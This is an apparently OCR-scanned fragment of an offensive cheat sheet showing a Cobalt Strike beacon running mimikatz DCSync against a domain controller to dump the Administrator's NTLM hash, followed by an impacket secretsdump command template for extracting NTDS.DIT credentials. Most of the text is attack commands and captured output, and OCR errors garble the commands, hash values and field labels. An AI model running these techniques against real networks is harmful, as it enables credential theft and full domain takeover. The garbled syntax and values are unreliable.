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beacon> dcsync prod.raven-med.local prodi\administrator

[*] Tasked beacon to run mimikatz sadump: :dcsync fdomain:prod.raven-med.local fuser:prodyadministrator command
[+] host called home, sent: 296050 hytes

[+] received output

[DC] *prod.raven-med.local' will be the domain

[DC] 'dcel.prod.raven-med.local' will be the DC server

[DC]1 *prodiadministrator' will be the user account

Object RDN : Administrator

ok Sh“ AICCOUN'I' E
Administrator

30000000 ( USER OBJECT )
00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )

SAM Username

Account Type

User Account Control
Account expiration
Password last change :
Object Security ID
Object Relative ID

AN
-4167122442-1078

1/20/2

Credentials:

Hash NTLM: e7d6a507876e2c8h7534143c1chf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *

Random Value : 915e062d9f8166a1094876619a6eba63
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0 Linux [ITT] secretsdump [TT] NTDS.DIT [T1111T]

python3 secretsdump. py <[Ofqdb>/<[ITP: <[TP@<DC IP> -just-dc
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